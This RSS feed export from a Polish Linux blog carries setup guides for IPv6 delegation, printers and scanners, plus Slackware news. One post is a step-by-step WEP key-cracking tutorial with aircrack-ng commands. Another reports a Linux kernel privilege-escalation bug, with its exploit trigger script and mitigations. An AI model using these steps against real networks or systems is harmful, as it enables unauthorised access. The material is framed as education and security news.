<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Kłodzka Strona Linuksa &#8211; Artykuły Linux Kłodzko</title>
	<atom:link href="http://www.klodzko.linux.pl/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.klodzko.linux.pl</link>
	<description></description>
	<lastBuildDate>Sun, 08 May 2011 14:18:22 +0000</lastBuildDate>
	<language>pl-PL</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.7.5</generator>
	<item>
		<title>Delegacja puli /64 IPv6 i revDNS na inny adres IP (inną maszynę)</title>
		<link>https://www.klodzko.linux.pl/2010/07/delegacja-puli-64-ipv6-i-revdns-na-inny-adres-ip-inna-maszyne/</link>
					<comments>https://www.klodzko.linux.pl/2010/07/delegacja-puli-64-ipv6-i-revdns-na-inny-adres-ip-inna-maszyne/#respond</comments>
		
		<dc:creator><![CDATA[K.W.]]></dc:creator>
		<pubDate>Tue, 27 Jul 2010 21:19:52 +0000</pubDate>
				<category><![CDATA[Artykuły]]></category>
		<category><![CDATA[Bind]]></category>
		<category><![CDATA[delegacja puli]]></category>
		<category><![CDATA[ipv6]]></category>
		<category><![CDATA[Named]]></category>
		<category><![CDATA[subnet]]></category>
		<guid isPermaLink="false">http://www.klodzko.linux.pl/?p=858</guid>

					<description><![CDATA[Potrzebne materiały: Pula /48 IPv6 Wkompilowana obsługa IPv6 w kernel na serwerze i kliencie Serwer nazw (named) na obu maszynach. hasło roota również na obu maszynach ;) Dane: 2001:6a0:128::/48 &#8211; subnet z którego będziemy delegować pulę /64 2001:6a0:128:00fe::/64 &#8211; pula którą oddelegowujemy 78.88.111.11 &#8211; Adres IP serwera udostępniającego pulę 78.88.222.22 &#8211; Adres IP maszyny na [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><em><strong>Potrzebne materiały:</strong></em></p>
<ul>
<li>Pula /48 IPv6</li>
<li>Wkompilowana obsługa IPv6 w kernel na serwerze i kliencie</li>
<li>Serwer nazw <em>(named)</em> na obu maszynach.</li>
<li>hasło roota również na obu maszynach ;)</li>
</ul>
<p><em><strong>Dane:</strong></em></p>
<ul>
<li>2001:6a0:128::/48 &#8211; subnet z którego będziemy delegować pulę /64</li>
<li>2001:6a0:128:00fe::/64 &#8211; pula którą oddelegowujemy</li>
<li>78.88.111.11 &#8211; Adres IP serwera udostępniającego pulę</li>
<li>78.88.222.22 &#8211; Adres IP maszyny na którą udostępniamy.</li>
</ul>
<p>Tworzymy dwa skrypty, jeden dla serwera drugi dla klienta.</p>
<p><em><strong>SERWER:</strong></em></p>
<blockquote><p>#!/bin/bash<br />
echo 1 &gt; /proc/sys/net/ipv6/conf/all/forwarding<br />
ip tunnel add tunel-delegate mode sit local 78.88.111.11 remote 78.88.222.22 ttl 64<br />
ip link set tunel-delegate up<br />
### początek i koniec tunelu ###<br />
ip addr add 2001:6a0:128:00aa::1/126 dev tunel-delegate<br />
### wielkość podsieci ###<br />
ip route add 2001:6a0:128:00fe::/64 dev tunel-delegate</p></blockquote>
<p><em><strong>KLIENT:</strong></em></p>
<blockquote><p>#!/bin/bash<br />
ip tunnel add laptop-v6 mode sit remote 78.88.111.11 local 78.88.222.22 ttl 64<br />
ip link set laptop-v6 up<br />
### dodajemy adresy z nowej puli ###<br />
ip addr add 2001:6a0:128:00fe::1 dev laptop-v6<br />
ip addr add 2001:6a0:128:00fe::2 dev laptop-v6<br />
ip addr add 2001:6a0:128:00fe::3 dev laptop-v6<br />
### ###<br />
ip route add 2000::/3 dev laptop-v6</p></blockquote>
<p><em><strong>RevDNS:</strong></em></p>
<p>Żeby klient mógł sam zarządzać swoimi revami wykonujemy:</p>
<p><em><strong>SERWER:</strong></em></p>
<p>edycja /etc/named.conf, dopisujemy:</p>
<blockquote><p>zone &#8222;e.f.0.0.8.2.1.0.0.a.6.0.1.0.0.2.ip6.arpa&#8221; {<br />
type slave;<br />
file &#8222;e.f.0.0.8.2.1.0.0.a.6.0.1.0.0.2.ip6.arpa&#8221;;<br />
masters { 78.88.222.22; };<br />
};</p></blockquote>
<p>Plik strefy transferuje się od klienta gdy ten odpali swojego nameda.</p>
<p><em><strong>KLIENT:</strong></em></p>
<p>edycja /etc/named.conf, dopisujemy:</p>
<blockquote><p>zone &#8222;e.f.0.0.8.2.1.0.0.a.6.0.1.0.0.2.ip6.arpa&#8221; {<br />
type master;<br />
allow-transfer { 78.88.111.11; };<br />
file &#8222;e.f.0.0.8.2.1.0.0.a.6.0.1.0.0.2.ip6.arpa&#8221;;<br />
notify yes;<br />
};</p></blockquote>
<p>Tworzymy plik strefy<br />
<em>touch /var/named/e.f.0.0.8.2.1.0.0.a.6.0.1.0.0.2.ip6.arpa</em></p>
<p>i wpisujemy w nim:</p>
<blockquote><p>; e.f.0.0.8.2.1.0.0.a.6.0.1.0.0.2.ip6.arpa.<br />
;</p>
<p>$TTL 64</p>
<p>@ IN SOA twoj.dns.pl admin.domena.pl. (<br />
2010072505 ; serial</p>
<p>21600 ; refresh<br />
7200 ; retry<br />
1209600 ; expire<br />
100 ) ; default_ttl<br />
;</p>
<p>@ IN NS twoj.dns.pl.</p>
<p>1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0 IN PTR jakasdomena.pl.</p></blockquote>
<p><em>(ilość cyfr w tym wpisie &#8222;<strong>1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0</strong>&#8221; zależy od ilości cyfr i liter w obliczonym RevDNS dla naszej puli, czyli od wyniku &#8222;<strong>e.f.0.0.8.2.1.0.0.a.6.0.1.0.0.2</strong>.ip6.arpa&#8221; wywalamy .ip6.arpa, zostaje nam 16 znaków więc robimy działanie 32 &#8211; 16 = 16)</em></p>
<p>Odpalamy skrypty i przeładowujemy nameda na obu maszynach i na tym koniec.</p>
<p><em>(pulę /48 można sobie przyorganizować z <a href="http://SixXS.net" target="_blank">SixXS.net</a> lub <a href="http://HE.net" target="_blank">HE.net</a>)</em></p>
<p>&nbsp;</p>
<p><em>Autor: <a href="mailto:admin@klodzko.linux.pl">Krzysztof Wnuk</a></em></p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.klodzko.linux.pl/2010/07/delegacja-puli-64-ipv6-i-revdns-na-inny-adres-ip-inna-maszyne/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Uruchomienie drukarki CANON PIXIMA ip1500 na Slackware</title>
		<link>https://www.klodzko.linux.pl/2010/07/uruchomienie-drukarki-canon-pixima-ip1500-na-slackware/</link>
					<comments>https://www.klodzko.linux.pl/2010/07/uruchomienie-drukarki-canon-pixima-ip1500-na-slackware/#respond</comments>
		
		<dc:creator><![CDATA[K.W.]]></dc:creator>
		<pubDate>Sat, 03 Jul 2010 09:20:20 +0000</pubDate>
				<category><![CDATA[Artykuły]]></category>
		<category><![CDATA[Canon]]></category>
		<category><![CDATA[cups]]></category>
		<category><![CDATA[drukarka]]></category>
		<category><![CDATA[ip1500]]></category>
		<category><![CDATA[Pixima]]></category>
		<category><![CDATA[Slackware]]></category>
		<guid isPermaLink="false">http://www.klodzko.linux.pl/?p=846</guid>

					<description><![CDATA[Sciągnij, rozpakuj, przekonwertuj na paczki dla Slackware i zainstaluj sterownik ze strony Canona. Wykonujemy po kolei: wget http://files.canon-europe.com/files/soft22415/software/22415.tgz tar -xvf 22415.tgz tar -xvf iP1500Linux.tar.gz cd iP1500/ rpm2tgz *.tgz su installpkg *.tgz Następnie trzeba porobić dowiązania bibliotek w tym celu trzeba zalogować się na konto root i wykonać po kolei: cd /usr/lib ln -s libpng12.so.0 libpng.so.2 [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Sciągnij, rozpakuj, przekonwertuj na paczki dla Slackware i zainstaluj <a href="http://software.canon-europe.com/software/0022415.asp" target="_blank">sterownik ze strony Canona</a>.<br />
Wykonujemy po kolei:</p>
<blockquote><p>wget http://files.canon-europe.com/files/soft22415/software/22415.tgz<br />
tar -xvf 22415.tgz<br />
tar -xvf iP1500Linux.tar.gz<br />
cd iP1500/<br />
rpm2tgz *.tgz<br />
su<br />
installpkg *.tgz</p></blockquote>
<p>Następnie trzeba porobić dowiązania bibliotek w tym celu trzeba zalogować się na konto root i wykonać po kolei:</p>
<blockquote><p>cd /usr/lib<br />
ln -s libpng12.so.0 libpng.so.2<br />
ln -s libtiff.so.4 libtiff.so.3<br />
ln -s libxml2.so.2 libxml.so.1</p></blockquote>
<p>Teraz przeładowanie cups poleceniem <strong><em>/etc/rc.d/rc.cups restart</em></strong></p>
<p>Ostatnim krokiem jaki pozostaje to dodanie drukarki poprzez manager KDE</p>
<p><em>kMenu -&gt; Centrum sterowania -&gt; urządzenia peryferyjne -&gt; drukarki -&gt; dodaj drukarkę</em></p>
<p><em><br />
</em></p>
<blockquote><p><img fetchpriority="high" decoding="async" class="aligncenter" title="pixima" src="https://www.klodzko.linux.pl/wp-content/uploads/pixima.jpg" alt="" width="533" height="386" /></p></blockquote>
]]></content:encoded>
					
					<wfw:commentRss>https://www.klodzko.linux.pl/2010/07/uruchomienie-drukarki-canon-pixima-ip1500-na-slackware/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Slackware Linux 13.1 wydany</title>
		<link>https://www.klodzko.linux.pl/2010/05/slackware-linux-13-1-wydany/</link>
					<comments>https://www.klodzko.linux.pl/2010/05/slackware-linux-13-1-wydany/#respond</comments>
		
		<dc:creator><![CDATA[K.W.]]></dc:creator>
		<pubDate>Tue, 25 May 2010 17:51:23 +0000</pubDate>
				<category><![CDATA[Newsy]]></category>
		<category><![CDATA[Slackware]]></category>
		<category><![CDATA[Slackware64]]></category>
		<guid isPermaLink="false">http://www.klodzko.linux.pl/?p=834</guid>

					<description><![CDATA[Po kilku miesiącach prac i testów, Patrick Volkerding ogłosił wydanie dystrybucji Linux Slackware i Slackware64 w wersji 13.1 Najnowsze wydanie przynosi wiele aktualizacji, między innymi: &#8211; kernel 2.6.33.4 &#8211; KDE 4.4.3 &#8211; Xfce 4.6.1 &#8211; gcc-4.4.4 &#8211; Wsparcie szyfrowanych połączeń sieciowych z OpenSSL, OpenSSH, OpenVPN oraz GnuPG. &#8211; Serwer Apache 2.2.15 &#8211; PHP 5.2.13 &#8211; [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" class="size-full wp-image-285  alignleft" title="slackware_ambigram_logo" src="https://www.klodzko.linux.pl/wp-content/uploads/slackware_ambigram_logo.png" alt="" width="167" height="44" />Po kilku miesiącach prac i testów, Patrick Volkerding ogłosił<br />
wydanie dystrybucji Linux Slackware i Slackware64 w wersji 13.1</p>
<p>Najnowsze wydanie przynosi wiele aktualizacji, między innymi:</p>
<p>&#8211; kernel 2.6.33.4<br />
&#8211; KDE 4.4.3<br />
&#8211; Xfce 4.6.1<br />
&#8211; gcc-4.4.4<br />
&#8211; Wsparcie szyfrowanych połączeń sieciowych z OpenSSL, OpenSSH, OpenVPN oraz GnuPG.<br />
&#8211; Serwer Apache 2.2.15<br />
&#8211; PHP 5.2.13<br />
&#8211; Wsparcie dla PCMCIA, CardBus, USB, IEE1394 (FireWire) i ACPI<br />
&#8211; Perl 5.10.1<br />
&#8211; Python 2.6.4</p>
<p>Pełną listę nowych pakietów można zobaczyć pod adresem:</p>
<p><em><a href="ftp://ftp.slackware.com/pub/slackware/slackware-13.1/PACKAGES.TXT" target="_blank">ftp://ftp.slackware.com/pub/slackware/slackware-13.1/PACKAGES.TXT</a></em></p>
<p>Slackware dostępny w wersji dla procesorów 32 i 64 bitowych<br />
można pobrać z jednego z wielu serwerów ftp i http pod adresem:</p>
<p><em><a href="http://slackware.com/getslack/" target="_blank">http://slackware.com/getslack/</a></em></p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.klodzko.linux.pl/2010/05/slackware-linux-13-1-wydany/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Ograniczenie połączeń IRC dla userów. (IRCkill ipv4/ipv6)</title>
		<link>https://www.klodzko.linux.pl/2010/04/ograniczenie-polaczen-irc-dla-userow-irckill-ipv4ipv6/</link>
					<comments>https://www.klodzko.linux.pl/2010/04/ograniczenie-polaczen-irc-dla-userow-irckill-ipv4ipv6/#respond</comments>
		
		<dc:creator><![CDATA[K.W.]]></dc:creator>
		<pubDate>Wed, 14 Apr 2010 12:02:17 +0000</pubDate>
				<category><![CDATA[Artykuły]]></category>
		<category><![CDATA[ipv4]]></category>
		<category><![CDATA[ipv6]]></category>
		<category><![CDATA[irc]]></category>
		<category><![CDATA[irckill]]></category>
		<guid isPermaLink="false">http://www.klodzko.linux.pl/?p=829</guid>

					<description><![CDATA[Na początek należy pobrać, rozpakować i zainstalować aplikację IRCkill. wget http://klodzko.linux.pl/irckill.tar.gz tar -xzvf irckill.tar.gz cd irckill/ make make install Następnie otwieramy do edycji plik /etc/irckill.conf i wpisujemy do niego: # Plik do którego logowane są autokille. log: /var/log/irckill.log # Czas sprawdzania połączeń (w sekundach). interval: 15 # Zakres portow do skanowania. port: 6660-7779 # Akcja. [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Na początek należy pobrać, rozpakować i zainstalować aplikację IRCkill.</p>
<blockquote><p>wget http://klodzko.linux.pl/irckill.tar.gz<br />
tar -xzvf irckill.tar.gz<br />
cd irckill/<br />
make<br />
make install</p></blockquote>
<p>Następnie otwieramy do edycji plik <strong><em>/etc/irckill.conf</em></strong> i wpisujemy do niego:</p>
<blockquote><p># Plik do którego logowane są autokille.<br />
log: /var/log/irckill.log</p>
<p># Czas sprawdzania połączeń (w sekundach).<br />
interval: 15</p>
<p># Zakres portow do skanowania.<br />
port: 6660-7779</p>
<p># Akcja.<br />
# 0 &#8211; będą killowane tylko procesy &#8222;wykraczające&#8221; po za limit.<br />
# 1 &#8211; będą killowane wszystkie procesy IRC usera.<br />
killall: 1</p>
<p># Limity mogą być ustawiane w zakresie 0-99 połączeń<br />
# lub &#8222;-&#8221; oznacza brak limitu.</p>
<p># UserID          Limit IPv4          Limit IPv6</p>
<p>root                             0                                       0<br />
user1                          1                                        &#8211;<br />
user2                  0                                       1</p></blockquote>
<p>Teraz tylko należy uruchomić irckill poleceniem <strong><em>/usr/local/sbin/irckill</em></strong> <em>(w zależności od systemu ścieżka może być inna np. /usr/sbin/irckill)</em><br />
i dopisać do <strong><em>/etc/rc.d/rc.local</em></strong> aby uruchamiał się przy starcie serwera.</p>
<p><em>(Aplikacja użyta w artykule to irckill autorstwa Tomasza Krynickiego, Michala Gizowskiego i Bartosza Kaliszuka na licencji GNU GPL)</em></p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.klodzko.linux.pl/2010/04/ograniczenie-polaczen-irc-dla-userow-irckill-ipv4ipv6/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Uruchomienie urządzenia wielofunkcyjnego Brother DCP-585CW na Slackware.</title>
		<link>https://www.klodzko.linux.pl/2010/02/uruchomienie-urzadzenia-wielofunkcyjnego-brother-dcp-585cw-na-slackware/</link>
					<comments>https://www.klodzko.linux.pl/2010/02/uruchomienie-urzadzenia-wielofunkcyjnego-brother-dcp-585cw-na-slackware/#respond</comments>
		
		<dc:creator><![CDATA[K.W.]]></dc:creator>
		<pubDate>Tue, 02 Feb 2010 17:43:57 +0000</pubDate>
				<category><![CDATA[Artykuły]]></category>
		<category><![CDATA[Brother]]></category>
		<category><![CDATA[cups]]></category>
		<category><![CDATA[DCP-585CW]]></category>
		<category><![CDATA[drukarka]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[sane]]></category>
		<category><![CDATA[Skaner]]></category>
		<category><![CDATA[Slackware]]></category>
		<category><![CDATA[xsane]]></category>
		<guid isPermaLink="false">http://www.klodzko.linux.pl/?p=814</guid>

					<description><![CDATA[Na początek podłączyć należy owe urządzenie do portu USB w komputerze. Część 1 &#8211; SKANER Pobieramy potrzebne sterowniki w paczkach .rpm (niestety nie ma paczek dla slackware) stąd pakiety brscan3-0.2.8-1.i386.rpm i brscan-skey-0.2.1-3.i386.rpm po pobraniu przerabiamy na .tgz rpm2tgz brscan3-0.2.8-1.i386.rpm rpm2tgz brscan-skey-0.2.1-3.i386.rpm i instalujemy su installpkg brscan3-0.2.8-1.i386.tgz installpkg brscan-skey-0.2.1-3.i386.tgz Teraz otwieramy w naszym ulubionym edytorze plik [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Na początek podłączyć należy owe urządzenie do portu USB w komputerze.</p>
<p><strong>Część 1 &#8211; </strong><strong>SKANER</strong></p>
<p>Pobieramy potrzebne sterowniki w paczkach .rpm (niestety nie ma paczek dla slackware)<em><strong> <a href="http://welcome.solutions.brother.com/bsc/public_s/id/linux/en/download_scn.html#brscan3" target="_blank">stąd</a></strong></em><br />
pakiety <strong><em>brscan3-0.2.8-1.i386.rpm</em></strong> i <strong><em>brscan-skey-0.2.1-3.i386.rpm</em></strong></p>
<p>po pobraniu przerabiamy na .tgz</p>
<blockquote><p>rpm2tgz brscan3-0.2.8-1.i386.rpm<br />
rpm2tgz brscan-skey-0.2.1-3.i386.rpm</p></blockquote>
<p>i instalujemy</p>
<blockquote><p>su<br />
installpkg brscan3-0.2.8-1.i386.tgz<br />
installpkg brscan-skey-0.2.1-3.i386.tgz</p></blockquote>
<p>Teraz otwieramy w naszym ulubionym edytorze plik <strong><em>/etc/sane.d/dll.conf</em></strong><br />
i dodjemy nowe urządzenie</p>
<blockquote><p>brother3</p></blockquote>
<p>zapisujemy i wychodzimy z edytora.</p>
<p>Teraz otwieramy do edycji plik <strong><em>/lib/udev/rules.d/80-libsane.rules</em></strong></p>
<p>i dodajemy do niego wpis:</p>
<blockquote><p># Brother dcp-585cw<br />
SYSFS{idVendor}==&#8221;04f9&#8243;, MODE=&#8221;0666&#8243;, GROUP=&#8221;scanner&#8221;, ENV{libsane_matched}=&#8221;yes&#8221;</p></blockquote>
<p>uruchamiamy program xsane który automatycznie wykryje urządzenie.</p>
<p><strong>Część 2 &#8211; DRUKARKA</strong></p>
<p>Pobieramy potrzebne sterowniki w paczkach .rpm (niestety nie ma paczek dla slackware) <strong><em><a href="http://welcome.solutions.brother.com/bsc/public_s/id/linux/en/download_prn.html#DCP-585CW" target="_blank">stąd</a></em></strong><br />
pakiety <strong><em>dcp585cwlpr-1.1.2-2.i386.rpm</em></strong> i <em><strong>dcp585cwcupswrapper-1.1.2-2.i386.rpm</strong></em></p>
<p>po pobraniu przerabiamy na .tgz</p>
<blockquote><p>rpm2tgz dcp585cwlpr-1.1.2-2.i386.rpm<br />
rpm2tgz dcp585cwcupswrapper-1.1.2-2.i386.rpm</p></blockquote>
<p>i instalujemy</p>
<blockquote><p>su<br />
installpkg dcp585cwlpr-1.1.2-2.i386.tgz<br />
installpkg dcp585cwcupswrapper-1.1.2-2.i386.tgz</p></blockquote>
<p>Teraz kopiujemy plik cupswrapperdcp585cw z katalogu /usr/local/Brother/Printer/dcp585cw/cupswrapper/ do /etc/rc.d/</p>
<blockquote><p>cp /usr/local/Brother/Printer/dcp585cw/cupswrapper/cupswrapperdcp585cw /etc/rc.d/</p></blockquote>
<p>Następnie w ulubionym edytorze otwieramy do edycji plik <em><strong>/etc/rc.d/rc.M</strong></em><br />
odnajdujemy sekcję &#8222;CUPS&#8221;</p>
<blockquote><p># Start the print spooling system.  This will usually be LPRng (lpd) or CUPS.<br />
if [ -x /etc/rc.d/rc.cups ]; then<br />
# Start CUPS:<br />
/etc/rc.d/rc.cups start<br />
elif [ -x /etc/rc.d/rc.lprng ]; then<br />
# Start LPRng (lpd):<br />
. /etc/rc.d/rc.lprng start<br />
fi</p></blockquote>
<p>i dopisujemy pod nią</p>
<blockquote><p>if [ -x /etc/rc.d/cupswrapperdcp585cw ]; then<br />
/etc/rc.d/cupswrapperdcp585cw<br />
fi</p></blockquote>
<p>Po ponownym uruchomieniu systemu urządzenie będzie widoczne i dodane.<br />
(można też ręcznie to wykonać poleceniem /etc/rc.d/cupswrapperdcp585cw)</p>
<p><img decoding="async" class="aligncenter" title="cups.jpg" src="https://www.klodzko.linux.pl/wp-content/uploads/cups.jpg" alt="" width="639" height="548" /></p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.klodzko.linux.pl/2010/02/uruchomienie-urzadzenia-wielofunkcyjnego-brother-dcp-585cw-na-slackware/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Szybki atak na zabezpieczoną sieć wi-fi (WEP)</title>
		<link>https://www.klodzko.linux.pl/2010/01/szybki-atak-na-zabezpieczona-siec-wi-fi-wep/</link>
					<comments>https://www.klodzko.linux.pl/2010/01/szybki-atak-na-zabezpieczona-siec-wi-fi-wep/#respond</comments>
		
		<dc:creator><![CDATA[K.W.]]></dc:creator>
		<pubDate>Wed, 20 Jan 2010 10:59:59 +0000</pubDate>
				<category><![CDATA[Artykuły]]></category>
		<category><![CDATA[aircrack-ng]]></category>
		<category><![CDATA[atak]]></category>
		<category><![CDATA[Bezpieczeństwo]]></category>
		<category><![CDATA[wep]]></category>
		<category><![CDATA[wi-fi]]></category>
		<guid isPermaLink="false">http://www.klodzko.linux.pl/?p=788</guid>

					<description><![CDATA[Potrzebne rzeczy: &#8211; komputer z kartą sieciową umożliwiającą monitorowanie (np. Intel PRO/Wireless 3945ABG) &#8211; pakiet aircrack-ng &#8211; program macchanger &#8211; sieć zabezpieczona WEP Na początek trzeba ustawić kartę wi-fi w tryb monitoringu i dla ułatwienia zmienić adres mac karty (w przykładzie karta wi-fi posiada interfejs wlan0) ifconfig wlan0 down macchanger ––mac 00:11:22:33:44:55 wlan0 iwconfig wlan0 [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Potrzebne rzeczy:</p>
<p>&#8211; komputer z kartą sieciową umożliwiającą monitorowanie <em>(np. Intel PRO/Wireless 3945ABG)</em><br />
&#8211; pakiet <a href="http://www.aircrack-ng.org" target="_blank">aircrack-ng</a><br />
&#8211; program <a href="http://www.alobbs.com/macchanger" target="_blank">macchanger</a><br />
&#8211; sieć zabezpieczona WEP</p>
<p>Na początek trzeba ustawić kartę wi-fi w tryb monitoringu i dla ułatwienia zmienić adres mac karty<br />
<em>(w przykładzie karta wi-fi posiada interfejs wlan0)</em></p>
<blockquote><p>ifconfig wlan0 down<br />
macchanger ––mac 00:11:22:33:44:55 wlan0<br />
iwconfig wlan0 mode monitor<br />
ifconfig wlan0 up</p></blockquote>
<p>teraz otwieramy konsolę i z roota wydajemy polecenie:</p>
<blockquote><p>airodump-ng wlan0</p></blockquote>
<p>wyświetli nam się lista sieci, jeżeli znajdziemy sieć która nas interesuje zabijamy program ^C<br />
<em>(informacje potrzebne to: BSSID i kanał)</em></p>
<p>następnie należy wydać polecenie:<em> (gdzie za XX wpisujemy kanał, a za XX:XX:XX:XX:XX:XX bssid sieci)</em></p>
<blockquote><p>airodump-ng -c XX -w wifi ––bssid XX:XX:XX:XX:XX:XX wlan0</p></blockquote>
<p>teraz otwieramy kolejne okno konsoli i również z roota wydajemy polecenie:</p>
<blockquote><p>aireplay-ng -3 -b XX:XX:XX:XX:XX:XX -h 00:11:22:33:44:55 wlan0</p></blockquote>
<p>teraz pakiety zapisują nam się do pliku wifi-01.cap i z niego będziemy wyciągać klucz WEP.</p>
<p>W tym celu w kolejnym oknie konsoli wydajemy polecenie:</p>
<blockquote><p>aircrack-ng -b XX:XX:XX:XX:XX:XX wifi-01.cap</p></blockquote>
<p>i czekamy na wyniki, na początku program zapewne powie ze jest za mało pakietów i że należy powtórzyć przy większej ilości, więc trzeba uzbroić się w cierpliwość.</p>
<p><span style="color: #800000;"><em>Powyższy artykuł ma wyłącznie charakter edukacyjny.</em></span></p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.klodzko.linux.pl/2010/01/szybki-atak-na-zabezpieczona-siec-wi-fi-wep/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Luka w jądrze Linux pozwala wykonać kod jako administrator.</title>
		<link>https://www.klodzko.linux.pl/2009/11/luka-w-jadrze-linux-pozwala-wykonac-kod-jako-administrator/</link>
					<comments>https://www.klodzko.linux.pl/2009/11/luka-w-jadrze-linux-pozwala-wykonac-kod-jako-administrator/#respond</comments>
		
		<dc:creator><![CDATA[K.W.]]></dc:creator>
		<pubDate>Thu, 05 Nov 2009 17:52:12 +0000</pubDate>
				<category><![CDATA[Newsy]]></category>
		<category><![CDATA[Brad Spengler]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[mmap_min_addr]]></category>
		<guid isPermaLink="false">http://www.klodzko.linux.pl/?p=753</guid>

					<description><![CDATA[&#160;&#160;&#160;&#160;&#160;Okazuje się, że zawarta w kodzie kernela Linux usterka pozwalająca sprowokować wystąpienie błędu dereferencji wskaźnika pustego może zostać wykorzystana do przejęcia systemowych uprawnień administratora. Choć na liście mailingowej poświęconej jądru Linux pierwszą oficjalną informację na temat błędu zgłosił 14 października Earl Chew, to prawo do miana znalazcy usterki rości sobie stojący za projektem grsecurity programista [&#8230;]]]></description>
										<content:encoded><![CDATA[<p style="text-align: left;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Okazuje się, że zawarta w kodzie kernela Linux usterka pozwalająca sprowokować wystąpienie błędu dereferencji wskaźnika pustego może zostać wykorzystana do przejęcia systemowych uprawnień administratora.<br />
Choć na liście mailingowej poświęconej jądru Linux pierwszą oficjalną informację na temat błędu zgłosił 14 października Earl Chew, to prawo do miana znalazcy usterki rości sobie stojący za projektem grsecurity programista Brad Spengler. W wywiadzie dla brytyjskich mediów Spengler powiedział, że przed dwoma tygodniami miał już nawet gotowy exploit. Zresztą jest on również autorem exploitów dla wykrytych wcześniej błędów dereferencji wskaźnika zerowego w jądrze Linux.</p>
<p>Kiedy heise Security skontaktowało się z Bradem Spenglerem, ten oświadczył, że przypuszczalnie jeszcze dziś opublikuje exploit wykorzystujący opisywaną usterkę.<br />
Problem</p>
<p>Zgodnie z wydanym przez programistów komunikatem usterka tkwi w komponencie odpowiedzialnym za obsługę łączy komunikacyjnych w pliku pipe.c i ujawnia się podczas korzystania z funkcji pipe_read_open(), pipe_write_open() i pipe_rdwr_open(). Błąd może wystąpić w przypadku przedwczesnego zainicjowania elementu mutex (mutual exclusion). Mamy tu zatem klasyczną sytuację wyścigu (race condition).<br />
Obejście</p>
<p>Podobnie jak w przypadku wcześniejszych błędów polegających na dereferencji wskaźnika pustego w jądrze Linux, także najnowszą usterkę daje się wykorzystać tylko w sytuacji, gdy systemowa zmienna mmap_min_addr jest ustawiona na 0. Zmienna mmap_min_addr określa najniższy adres wirtualny, na który danemu procesowi wolno mapować. Jeśli jej wartość jest większa niż 0, wówczas nie zadziałają exploity bazujące na dereferencji pustego wskaźnika. Niestety, przestają wtedy działać również niektóre opensource&#8217;owe aplikacje, takie jak choćby Wine czy dosemu, więc wielu dystrybutorów (m.in. Red Hat i Debian) ustawia tę wartość domyślnie na 0.<br />
Rozwiązanie</p>
<p>Lukę zamknięto na razie tylko w wydaniu Release Candidate 6 przyszłej edycji oznaczonej numerem 2.6.32.</p>
<p>Red Hat opublikował już uaktualnione pakiety, które eliminują usterkę. Z kolei Debian przygotował specjalny instruktaż ukazujący sposób zmiany wartości zmiennej. W Ubuntu zmienna mmap_min_addr jest ustawiona na 65535, co uniemożliwia działanie exploitów.</p>
<p><em><strong>EXPLOIT:</strong></em></p>
<blockquote><p>while : ; do<br />
{ echo y ; sleep 1 ; } | { while read ; do echo z$REPLY; done ; } &amp;amp;<br />
PID=$!<br />
OUT=$(ps -efl | grep 'sleep 1&#8242; | grep -v grep |<br />
{ read PID REST ; echo $PID; } )<br />
OUT=&#8221;${OUT%% *}&#8221;<br />
DELAY=$((RANDOM * 1000 / 32768))<br />
usleep $((DELAY * 1000 + RANDOM % 1000 ))<br />
echo n &amp;gt; /proc/$OUT/fd/1                 # Trigger defect<br />
done</p></blockquote>
<p><em>Źródło: <a href="http://www.heise-online.pl/" target="_blank">heise-online.pl</a></em> i <a href="http://www.securityfocus.com" target="_blank"><em>securityfocus.com</em></a></p>
<p><em>Komentarz admina: </em><br />
Większość dystrybucji ma domyślnie ustawione  <strong><em>mmap_min_addr &gt; 0 </em></strong>więc exploit i tak nie zadziała.<br />
<!-- Kłodzko, klodzko, Kłodzka strona Linuksa, Linux --></p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.klodzko.linux.pl/2009/11/luka-w-jadrze-linux-pozwala-wykonac-kod-jako-administrator/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Błyskawiczna aktualizacja kernela do najnowszej wersji z kernel.org w Slackware.</title>
		<link>https://www.klodzko.linux.pl/2009/10/blyskawiczna-aktualizacja-kernela-do-najnowszej-wersji-z-kernel-org-w-slackware/</link>
					<comments>https://www.klodzko.linux.pl/2009/10/blyskawiczna-aktualizacja-kernela-do-najnowszej-wersji-z-kernel-org-w-slackware/#respond</comments>
		
		<dc:creator><![CDATA[K.W.]]></dc:creator>
		<pubDate>Sat, 31 Oct 2009 15:16:24 +0000</pubDate>
				<category><![CDATA[Artykuły]]></category>
		<category><![CDATA[Aktualizacja]]></category>
